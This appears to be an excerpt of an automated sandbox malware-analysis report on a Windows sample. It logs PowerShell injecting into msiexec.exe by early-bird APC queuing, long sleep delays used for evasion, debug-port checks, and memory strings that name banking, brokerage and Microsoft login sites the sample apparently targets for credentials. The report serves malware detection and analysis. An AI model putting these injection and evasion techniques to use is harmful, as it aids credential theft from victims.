Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -594625s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00405EC1 FindFirstFileA,FindClose,	0_2_00405EC1
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_0040547D GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040547D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2653650551.000000000757A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: powershell.exe, 00000002.00000002.2012024518.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: powershell.exe, 00000002.00000002.2012024518.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000009.00000002.2667049605.00000000240FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: powershell.exe, 00000002.00000002.2012024518.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	API call chain: ExitProcess graph end node			graph_0-3268
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	API call chain: ExitProcess graph end node			graph_0-3273

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04DC77F9 LdrInitializeThunk,

2_2_04DC77F9

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_00405EE8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EE8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4260000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
